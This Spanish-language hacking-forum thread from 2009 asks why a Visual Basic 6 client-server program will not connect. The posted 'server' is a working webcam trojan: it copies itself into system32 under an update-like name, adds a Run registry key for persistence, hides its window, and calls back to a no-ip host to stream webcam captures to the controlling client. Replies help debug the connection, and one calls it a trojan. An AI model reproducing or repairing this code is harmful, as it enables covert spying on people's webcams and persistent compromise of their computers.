elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  cliente-server por qué no conecta?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: cliente-server por qué no conecta?  (Leído 3,559 veces)
?¿?

Desconectado Desconectado

Mensajes: 64



Ver Perfil
cliente-server por qué no conecta?
« en: 16 Enero 2009, 10:48 am »

buenas, el cliente depende del ocx del winsock pero al server le añadí el CSocketMaster, se supone que el server no necesita del ocx para realizar la conexion no  :huh:  pues no me conecta, el host no ip lo pongo asi:



Código:
ip = "mihostDEnoIP.no-ip.org"
   <- esta mal asi  :huh:



bueno pongo el codigo por cliente primero hasta servidor, saludos, y muchas gracias señores.

---CLIENTE---

--clienteFRM--

Código:
Private Sub Command1_Click()
On Error Resume Next
WS.LocalPort = Text1.Text
WS.Close
WS.Listen
End Sub

Private Sub Command2_Click()
Unload clienteFRM
End Sub


Private Sub conexion_Timer()
On Error Resume Next
If WS.State = "7" Then
Label1.Caption = "Conectados"
ElseIf WS.State = "0" Then
Label1.Caption = "Desconectados"
End If
End Sub

Private Sub Form_Terminate()
Unload frmPANTALLA
End Sub

Private Sub Form_Unload(Cancel As Integer)
Unload frmPANTALLA
End Sub

Private Sub WebCam_Click()
If WS.State = "7" Then
Load frmPANTALLA
frmPANTALLA.Show
End If
If Not WS.State = "7" Then
Unload frmPANTALLA
End If
End Sub

Private Sub WS_Close()
On Error Resume Next
WS.Close
WS.Listen
End Sub

Private Sub WS_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
WS.Close
WS.Accept requestID
Label2.Caption = WS.RemoteHostIP
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
WS.GetData datos

Open "c:\captura.jpg" For Binary As #1
     Seek #1, LOF(1) + 1
     Put #1, , datos
Close #1
frmPANTALLA.Timer1.Enabled = True

End Sub



--frmPANTALLA--

Código:
Private Sub Command1_Click()
clienteFRM.WS.SendData "comienzo"
End Sub

Private Sub Command2_Click()
clienteFRM.WS.SendData "camstop"
End Sub

Private Sub Command3_Click()
clienteFRM.WS.SendData "eliminar"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
PVV.Picture = LoadPicture("c:\captura.jpg")
End Sub







---SERVIDOR---


--serverFRM--


Código:
Dim WithEvents s As CSocketMaster
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal nID As Long) As Long
Private mCapHwnd As Long
Private Const Connect As Long = 1034
Private Const DISCONNECT As Long = 1035
Private Const GET_FRAME As Long = 1084
Private Const COPY As Long = 1054
Dim lol As Integer
Dim frago As Integer
Dim goblin As String
Private datos As String
Private ip As String
Private puerto As Long

Private Sub comprobador_Timer()
On Error Resume Next
If Dir("C:\windowsuupdate\xD.xD") <> "" Then
registro.Enabled = False
Else
registro.Enabled = True
End If
End Sub

Private Sub Form_Load()
Set s = New CSocketMaster
ip = "MIHOSTDENOIP.no-ip.org"
puerto = 4662
s.RemoteHost = ip
s.RemotePort = puerto
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
   DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
   DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub

Private Sub registro_Timer()
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\system32\winupdate32.exe"
RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\updates", "C:\Windows\system32\winupdate32.exe"
MkDir "C:\windowsuupdate"
Open "C:\windowsuupdate\xD.xD" For Random As #1
Close #1
registro.Enabled = False
End Sub

Private Sub S_DataArrival(ByVal bytesTotal As Long)
s.GetData datos

   If datos = "comienzo" Then
   camon
   End If
   
   If datos = "eliminar" Then
muere
End If
   
   If datos = "camstop" Then
   DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
   Kill ("c:\Juazcp.jpg")
   Kill ("c:\captura.jpg")
   End If
   
   End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If Not s.State = 7 Then
s.CloseSck
s.Connect
End If
End Sub
Private Function camon()
On Error Resume Next
lol = FreeFile
frago = 8192
goblin = "c:\Juazcp.jpg"
SendMessage mCapHwnd, DISCONNECT, 0, 0
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
PV.Picture = Clipboard.GetData
Clipboard.Clear
SavePicture PV.Picture, "c:\" & "Juaz.jpg"
    PictureView1.OpenPicture ("c:\Juaz.jpg")
    If PictureView1.SaveJPEG("C:\Juazcp.jpg", True, 50) Then
    Else
    End If
    Kill ("c:\Juaz.jpg")
Open goblin For Binary As #lol
Do While Not EOF(lol)
camun = Input(frago, #lol)
s.SendData camun
DoEvents
Loop
Close #lol
End Function

Private Function muere()
   On Error Resume Next
   Kill ("c:\Juazcp.jpg")
   Kill ("c:\captura.jpg")
   camon
End Function

Private Sub Timer2_Timer()
Me.Visible = False
End Sub

Function RegWrite(ByVal Path As String, ByVal Value As String)
Dim AA As Object
Set AA = CreateObject("Wscript.Shell")
AA.RegWrite Path, Value, "REG_SZ"
End Function


« Última modificación: 16 Enero 2009, 10:51 am por Orcodd » En línea

70N1


Desconectado Desconectado

Mensajes: 355


Ver Perfil
Re: cliente-server por qué no conecta?
« Respuesta #1 en: 16 Enero 2009, 15:06 pm »

Quita los on error resume next y pruevalo, aver si te da error en alguna linea del codigo.
La conexion parece estar bien.

Me parece extraño que cierres la conexion para luego aceptarla
Código:
Private Sub Command1_Click()
On Error Resume Next
WS.LocalPort = Text1.Text
WS.Close
WS.Listen
End Sub

Private Sub Command2_Click()
Unload clienteFRM
End Sub


Private Sub conexion_Timer()
On Error Resume Next
If WS.State = "7" Then
Label1.Caption = "Conectados"
ElseIf WS.State = "0" Then
Label1.Caption = "Desconectados"
End If
End Sub

Private Sub Form_Terminate()
Unload frmPANTALLA
End Sub

Private Sub Form_Unload(Cancel As Integer)
Unload frmPANTALLA
End Sub

Private Sub WebCam_Click()
If WS.State = "7" Then
Load frmPANTALLA
frmPANTALLA.Show
End If
If Not WS.State = "7" Then
Unload frmPANTALLA
End If
End Sub

Private Sub WS_Close()
On Error Resume Next
WS.Close
WS.Listen
End Sub

Private Sub WS_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
WS.Close ---------------------------------------------------------> PRUEBA A QUITAR ESTO
WS.Accept requestID
Label2.Caption = WS.RemoteHostIP
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
WS.GetData datos

Open "c:\captura.jpg" For Binary As #1
     Seek #1, LOF(1) + 1
     Put #1, , datos
Close #1
frmPANTALLA.Timer1.Enabled = True

End Sub

Tambien puede ser que no allas abierto los puertos de tu router


« Última modificación: 16 Enero 2009, 15:26 pm por 70N1 » En línea

70N1
?¿?

Desconectado Desconectado

Mensajes: 64



Ver Perfil
Re: cliente-server por qué no conecta?
« Respuesta #2 en: 16 Enero 2009, 15:32 pm »

el puerto....esta mas que abierto y por lo que tengo entendido antes de aceptarla cierras y luego aceptas...eso es lo que he leido en los tutoriales corrijanme si me equivoco, saludos.
En línea

70N1


Desconectado Desconectado

Mensajes: 355


Ver Perfil
Re: cliente-server por qué no conecta?
« Respuesta #3 en: 17 Enero 2009, 14:27 pm »

Tienes toda la razon.
Es que hace tiempo que no manejo sockets.
En línea

70N1
aaronduran2


Desconectado Desconectado

Mensajes: 790



Ver Perfil WWW
Re: cliente-server por qué no conecta?
« Respuesta #4 en: 17 Enero 2009, 14:29 pm »

Si tienes un router, no suele funcionar con NO-IP. Hay que configurarlo bien, a mí me pasó lo mismo.
En línea

gulabyte

Desconectado Desconectado

Mensajes: 97



Ver Perfil
Re: cliente-server por qué no conecta?
« Respuesta #5 en: 17 Enero 2009, 15:22 pm »


si tienes el cliente y el servidor en el mismo ordenador prueba a poner la direccion IP LAN (puedes obtenerlo poniendo ipconfig en la consola (inicio ejecutar "cmd")) o aun la loop (127.0.0.1).
Sino para probar la cuenta no-ip prueba desde fuera de tu red, desde internet...

salu10 ;D
En línea

seba123neo
Moderador
***
Desconectado Desconectado

Mensajes: 3.621



Ver Perfil WWW
Re: cliente-server por qué no conecta?
« Respuesta #6 en: 17 Enero 2009, 16:27 pm »

tenes que "abrir" los puertos para que funcione en un router...eso lo podes hacer desde la configuracion del mismo...
En línea

?¿?

Desconectado Desconectado

Mensajes: 64



Ver Perfil
Re: cliente-server por qué no conecta?
« Respuesta #7 en: 17 Enero 2009, 18:45 pm »

el puerto está abierto, gracias..pero eso no es.

podria ser que al yo añadir el csoketmaster...le quite el control winsock al server ?

osea hay que dejarlo o lo quitas  :huh:
En línea

seba123neo
Moderador
***
Desconectado Desconectado

Mensajes: 3.621



Ver Perfil WWW
Re: cliente-server por qué no conecta?
« Respuesta #8 en: 17 Enero 2009, 18:47 pm »

si usas el CSocketMaster no tenes que usar el winsock y lo mas coherente es que si usas CSocketMaster usala en el servidor y en el cliente tambien...
En línea

gulabyte

Desconectado Desconectado

Mensajes: 97



Ver Perfil
Re: cliente-server por qué no conecta?
« Respuesta #9 en: 17 Enero 2009, 19:58 pm »


Te recomendaría una cosa.. empieza otra vez con el proyecto codeando el cliente y el servidor otra vez.... tienes funciones en el troyano sin conseguir que se conecte.. vete poco a poco...

Primero consigue la conexión usando la dirección LAN en tu ordenador y con el API winsock, luego haz que un timer te mire el estado de la conexión por ejemplo cada 500 milisegundos, y que te ponga el estado de ésta en un label por ejemplo para que veas como va en tiempo real...

Configura el server para que se conecte a tu LAN IP (192.168.1.3, por ejemplo) y pones como puerto por ejemplo 7887. Después simplemente pones en el cliente un command para que ponga en escucha ese puerto y después ejecutas el servidor...

Consigue primero la conexión y luego te haces con las funciones...

slau10 ;D
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Server 2003 no conecta a servicios de red
Redes
ryan parker 3 4,393 Último mensaje 19 Septiembre 2011, 22:38 pm
por ryan parker
Duda dns redireccion a ip publica no conecta server
Hacking
Anonymous250 1 3,000 Último mensaje 7 Marzo 2012, 00:07 am
por $Edu$
Counter se conecta directamente a un server
Juegos y Consolas
Fox_Neo 2 16,131 Último mensaje 6 Febrero 2013, 05:28 am
por el cordobes
Busco info de como se conecta cliente a wifi WPA
Redes
NikNitro! 0 1,866 Último mensaje 12 Enero 2015, 14:11 pm
por NikNitro!
S.O. cliente no se conecta a servidor instalado en VirtualBox
Redes
Krll 0 2,029 Último mensaje 28 Septiembre 2015, 15:31 pm
por Krll
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines